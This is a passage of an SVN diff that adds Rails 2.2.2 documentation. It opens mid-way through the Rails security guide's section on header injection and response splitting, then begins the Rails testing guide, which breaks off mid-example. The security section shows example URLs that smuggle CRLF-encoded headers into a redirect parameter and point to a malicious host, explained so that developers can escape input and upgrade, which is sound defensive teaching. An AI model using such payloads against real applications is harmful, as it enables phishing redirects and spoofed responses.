+<div class="para"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>redirect_to params[:referer]</tt></pre>
+</div></div>
+<div class="para"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld</tt></pre>
+</div></div>
+<div class="para"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
+http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld</tt></pre>
+</div></div>
+<div class="para"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>HTTP/1.1 302 Moved Temporarily
+(...)
+Location: http://www.malicious.tld</tt></pre>
+</div></div>
+<div class="para"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
+<h4 id="_response_splitting">8.9.1. Response Splitting</h4>
+<div class="para"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
+<div class="literalblock">
+<div class="content">
+<pre><tt>HTTP/1.1 302 Found [First standard 302 response]
+Date: Tue, 12 Apr 2005 22:09:07 GMT
+Location:
Content-Type: text/html
+
+
+HTTP/1.1 200 OK [Second New response created by attacker begins]
+Content-Type: text/html
+
+
+&lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
+Keep-Alive: timeout=15, max=100         shown as the redirected page]
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: text/html</tt></pre>
+</div></div>
+<div class="para"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
+</div>
+<h2 id="_additional_resources">9. Additional resources</h2>
+<div class="sectionbody">
+<div class="para"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
+</p>
+</li>
+<li>
+<p>
+Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)
+</p>
+</li>
+<li>
+<p>
+A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
+</p>
+</li>
+<li>
+<p>
+Another <a href="http://www.0x000000.com/">good security blog</a> with some Cheat Sheets, too
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">10. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 1, 2008: First approved version by Heiko Webers
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/testing_rails_applications.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/testing_rails_applications.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/testing_rails_applications.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1859 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>A Guide to Testing Rails Applications</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_why_write_tests_for_your_rails_applications">Why Write Tests for your Rails Applications?</a>
+					</li>
+					<li>
+					<a href="#_introduction_to_testing">Introduction to Testing</a>
+						<ul>
+						
+							<li><a href="#_the_3_environments">The 3 Environments</a></li>
+						
+							<li><a href="#_rails_sets_up_for_testing_from_the_word_go">Rails Sets up for Testing from the Word Go</a></li>
+						
+							<li><a href="#_the_low_down_on_fixtures">The Low-Down on Fixtures</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_unit_testing_your_models">Unit Testing your Models</a>
+						<ul>
+						
+							<li><a href="#_preparing_you_application_for_testing">Preparing you Application for Testing</a></li>
+						
+							<li><a href="#_running_tests">Running Tests</a></li>
+						
+							<li><a href="#_what_to_include_in_your_unit_tests">What to Include in Your Unit Tests</a></li>
+						
+							<li><a href="#_assertions_available">Assertions Available</a></li>
+						
+							<li><a href="#_rails_specific_assertions">Rails Specific Assertions</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_functional_tests_for_your_controllers">Functional Tests for Your Controllers</a>
+						<ul>
+						
+							<li><a href="#_what_to_include_in_your_functional_tests">What to include in your Functional Tests</a></li>
+						
+							<li><a href="#_available_request_types_for_functional_tests">Available Request Types for Functional Tests</a></li>
+						
+							<li><a href="#_the_4_hashes_of_the_apocalypse">The 4 Hashes of the Apocalypse</a></li>
+						
+							<li><a href="#_instance_variables_available">Instance Variables Available</a></li>
+						
+							<li><a href="#_a_fuller_functional_test_example">A Fuller Functional Test Example</a></li>
+						
+							<li><a href="#_testing_views">Testing Views</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_integration_testing">Integration Testing</a>
+						<ul>
+						
+							<li><a href="#_helpers_available_for_integration_tests">Helpers Available for Integration tests</a></li>
+						
+							<li><a href="#_integration_testing_examples">Integration Testing Examples</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_rake_tasks_for_running_your_tests">Rake Tasks for Running your Tests</a>
+					</li>
+					<li>
+					<a href="#_brief_note_about_test_unit">Brief Note About Test::Unit</a>
+					</li>
+					<li>
+					<a href="#_setup_and_teardown">Setup and Teardown</a>
+					</li>
+					<li>
+					<a href="#_testing_routes">Testing Routes</a>
+					</li>
+					<li>
+					<a href="#_testing_your_mailers">Testing Your Mailers</a>
+						<ul>
+						
+							<li><a href="#_keeping_the_postman_in_check">Keeping the Postman in Check</a></li>
+						
+							<li><a href="#_unit_testing">Unit Testing</a></li>
+						
+							<li><a href="#_functional_testing">Functional Testing</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_other_testing_approaches">Other Testing Approaches</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>A Guide to Testing Rails Applications</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers built-in mechanisms offered by Rails to test your application. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand Rails testing terminology
+</p>
+</li>
+<li>
+<p>
+Write unit, functional and integration tests for your application
+</p>
+</li>
+<li>
+<p>
+Identify other popular testing approaches and plugins
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This guide won't teach you to write a Rails application; it assumes basic familiarity with the Rails way of doing things.</p></div>
+</div>
+</div>
+<h2 id="_why_write_tests_for_your_rails_applications">1. Why Write Tests for your Rails Applications?</h2>
+<div class="sectionbody">
+<div class="ilist"><ul>
+<li>
+<p>
+Rails makes it super easy to write your tests. It starts by producing skeleton test code in background while you are creating your models and controllers.
+</p>
+</li>
+<li>
+<p>
+By simply running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring.
+</p>
+</li>
+<li>
+<p>
+Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_introduction_to_testing">2. Introduction to Testing</h2>
+<div class="sectionbody">
+<div class="para"><p>Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.</p></div>
+<h3 id="_the_3_environments">2.1. The 3 Environments</h3>
+<div class="para"><p>Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing.</p></div>
+<div class="para"><p>One place you'll find this distinction is in the <tt>config/database.yml</tt> file. This YAML configuration file has 3 different sections defining 3 unique database setups:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+production
+</p>
+</li>
+<li>
+<p>
+development
+</p>
+</li>
+<li>
+<p>
+test
+</p>
+</li>
+</ul></div>
+<div class="para"><p>This allows you to set up and interact with test data without any danger of your tests altering data from your production environment.</p></div>
+<div class="para"><p>For example, suppose you need to test your new <tt>delete_this_user_and_every_everything_associated_with_it</tt> function. Wouldn't you want to run this in an environment where it makes no difference if you destroy data or not?</p></div>
+<div class="para"><p>When you do end up destroying your testing database (and it will happen, trust me), you can rebuild it from scratch according to the specs defined in the development database. You can do this by running <tt>rake db:test:prepare</tt>.</p></div>
+<h3 id="_rails_sets_up_for_testing_from_the_word_go">2.2. Rails Sets up for Testing from the Word Go</h3>
+<div class="para"><p>Rails creates a <tt>test</tt> folder for you as soon as you create a Rails project using <tt>rails <em>application_name</em></tt>. If you list the contents of this folder then you shall see:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ ls -F <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">/</span>
+
+fixtures<span style="color: #990000">/</span>       functional<span style="color: #990000">/</span>     integration<span style="color: #990000">/</span>    test_helper<span style="color: #990000">.</span>rb  unit<span style="color: #990000">/</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p></div>
+<h3 id="_the_low_down_on_fixtures">2.3. The Low-Down on Fixtures</h3>
+<div class="para"><p>For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p></div>
+<h4 id="_what_are_fixtures">2.3.1. What Are Fixtures?</h4>
+<div class="para"><p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong>YAML</strong> or <strong>CSV</strong>. In this guide we will use <strong>YAML</strong> which is the preferred format.</p></div>
+<div class="para"><p>You'll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>script/generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p></div>
+<h4 id="_yaml">2.3.2. YAML</h4>
+<div class="para"><p>YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p></div>
+<div class="para"><p>Here's a sample YAML fixture file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># low &amp; behold!  I am a YAML comment!</span></span>
+david<span style="color: #990000">:</span>
+ name<span style="color: #990000">:</span> David Heinemeier Hansson
+ birthday<span style="color: #990000">:</span> <span style="color: #993399">1979</span><span style="color: #990000">-</span><span style="color: #993399">10</span><span style="color: #990000">-</span><span style="color: #993399">15</span>
+ profession<span style="color: #990000">:</span> Systems development
+
+steve<span style="color: #990000">:</span>
+ name<span style="color: #990000">:</span> Steve Ross Kellock
+ birthday<span style="color: #990000">:</span> <span style="color: #993399">1974</span><span style="color: #990000">-</span><span style="color: #993399">09</span><span style="color: #990000">-</span><span style="color: #993399">27</span>
+ profession<span style="color: #990000">:</span> guy with keyboard
+</tt></pre></div></div>
+<div class="para"><p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p></div>
+<h4 id="_erb_in_it_up">2.3.3. ERb'in It Up</h4>
+<div class="para"><p>ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% earth_size = 20 -%&gt;</span>
+mercury<span style="color: #990000">:</span>
+  size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size / 50 %&gt;</span>
+  brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 113.days.ago.to_s(:db) %&gt;</span>
+
+venus<span style="color: #990000">:</span>
+  size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size / 2 %&gt;</span>
+  brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 67.days.ago.to_s(:db) %&gt;</span>
+
+mars<span style="color: #990000">:</span>
+  size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size - 69 %&gt;</span>
+  brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 13.days.from_now.to_s(:db) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Anything encased within the</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The <tt>brightest_on</tt> attribute will also be evaluated and formatted by Rails to be compatible with the database.</p></div>
+<h4 id="_fixtures_in_action">2.3.4. Fixtures in Action</h4>
+<div class="para"><p>Rails by default automatically loads all fixtures from the <em>test/fixtures</em> folder for your unit and functional test. Loading involves three steps:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Remove any existing data from the table corresponding to the fixture
+</p>
+</li>
+<li>
+<p>
+Load the fixture data into the table
+</p>
+</li>
+<li>
+<p>
+Dump the fixture data into a variable in case you want to access it directly
+</p>
+</li>
+</ul></div>
+<h4 id="_hashes_with_special_powers">2.3.5. Hashes with Special Powers</h4>
+<div class="para"><p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># this will return the Hash for the fixture named david</span></span>
+users<span style="color: #990000">(:</span>david<span style="color: #990000">)</span>
+
+<span style="font-style: italic"><span style="color: #9A1900"># this will return the property for david called id</span></span>
+users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>id
+</tt></pre></div></div>
+<div class="para"><p>Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># using the find method, we grab the "real" david as a User</span></span>
+david <span style="color: #990000">=</span> users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>find
+
+<span style="font-style: italic"><span style="color: #9A1900"># and now we have access to methods only available to a User class</span></span>
+email<span style="color: #990000">(</span>david<span style="color: #990000">.</span>girlfriend<span style="color: #990000">.</span>email<span style="color: #990000">,</span> david<span style="color: #990000">.</span>location_tonight<span style="color: #990000">)</span>
+</tt></pre></div></div>
+</div>
+<h2 id="_unit_testing_your_models">3. Unit Testing your Models</h2>
+<div class="sectionbody">
+<div class="para"><p>In Rails, unit tests are what you write to test your models.</p></div>
+<div class="para"><p>For this guide we will be using Rails <em>scaffolding</em>. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">For more information on Rails <em>scaffolding</em>, refer to <a href="../getting_started_with_rails.html">Getting Started with Rails</a></td>
+</tr></table>
+</div>
+<div class="para"><p>When you use <tt>script/generate scaffold</tt>, for a resource among other things it creates a test stub in the <tt>test/unit</tt> folder:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ script/generate scaffold post title:string body:text
+...
+create  app/models/post.rb
+create  test/unit/post_test.rb
+create  test/fixtures/posts.yml
+...</tt></pre>
+</div></div>
+<div class="para"><p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase
+  <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+    assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+</tt></pre></div></div>
+<div class="para"><p>As you know by now that <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase
+</tt></pre></div></div>
+<div class="para"><p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You'll see those methods a little later in this guide.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
+</tt></pre></div></div>
+<div class="para"><p>Any method defined within a test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+is this value = that value?
+</p>
+</li>
+<li>
+<p>
+is this object nil?
+</p>
+</li>
+<li>
+<p>
+does this line of code throw an exception?
+</p>
+</li>
+<li>
+<p>
+is the user's password greater than 5 characters?
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Every test contains one or more assertions. Only when all the assertions are successful the test passes.</p></div>
+<h3 id="_preparing_you_application_for_testing">3.1. Preparing you Application for Testing</h3>
+<div class="para"><p>Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
+<span style="color: #990000">...</span>
+$ rake db<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>load
+</tt></pre></div></div>
+<div class="para"><p>Above <tt>rake db:migrate</tt> runs any pending migrations on the <em>developemnt</em> environment and updates <tt>db/schema.rb</tt>. <tt>rake db:test:load</tt> recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run <tt>db:test:prepare</tt> as it first checks for pending migrations and warns you appropriately.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content"><tt>db:test:prepare</tt> will fail with an error if db/schema.rb doesn't exists.</td>
+</tr></table>
+</div>
+<h4 id="_rake_tasks_for_preparing_you_application_for_testing">3.1.1. Rake Tasks for Preparing you Application for Testing ==</h4>
+<div class="para"><p>--------------------------------`----------------------------------------------------
+Tasks                           Description</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>+rake db:test:clone+            Recreate the test database from the current environment's database schema
++rake db:test:clone_structure+  Recreate the test databases from the development structure
++rake db:test:load+             Recreate the test database from the current +schema.rb+
++rake db:test:prepare+          Check for pending migrations and load the test schema
++rake db:test:purge+            Empty the test database.</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can see all these rake tasks and their descriptions by running <tt>rake &#8212;tasks &#8212;describe</tt></td>
+</tr></table>
+</div>
+<h3 id="_running_tests">3.2. Running Tests</h3>
+<div class="para"><p>Running a test is as simple as invoking the file containing the test cases through Ruby:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ cd <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
+$ ruby unit/post_test<span style="color: #990000">.</span>rb
+
+Loaded suite unit/post_test
+Started
+<span style="color: #990000">.</span>
+Finished <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #993399">0.023513</span> seconds<span style="color: #990000">.</span>
+
+<span style="color: #993399">1</span> tests<span style="color: #990000">,</span> <span style="color: #993399">1</span> assertions<span style="color: #990000">,</span> <span style="color: #993399">0</span> failures<span style="color: #990000">,</span> <span style="color: #993399">0</span> errors
+</tt></pre></div></div>
+<div class="para"><p>This will run all the test methods from the test case.</p></div>
+<div class="para"><p>You can also run a particular test method from the test case by using the <tt>-n</tt> switch with the <tt>test method name</tt>.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ruby unit/post_test.rb -n test_truth
+
+Loaded suite unit/post_test
+Started
+.
+Finished in 0.023513 seconds.
+
+1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
+</div></div>
+<div class="para"><p>The <tt>.</tt> (dot) above indicates a passing test. When a test fails you see an <tt>F</tt>; when a test throws an error you see an <tt>E</tt> in its place. The last line of the output is the summary.</p></div>
+<div class="para"><p>To see how a test failure is reported, you can add a failing test to the <tt>post_test.rb</tt> test case.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
+  post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
+  assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Let us run this newly added test.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
+Loaded suite unit/post_test
+Started
+F
+Finished in 0.197094 seconds.
+
+  1) Failure:
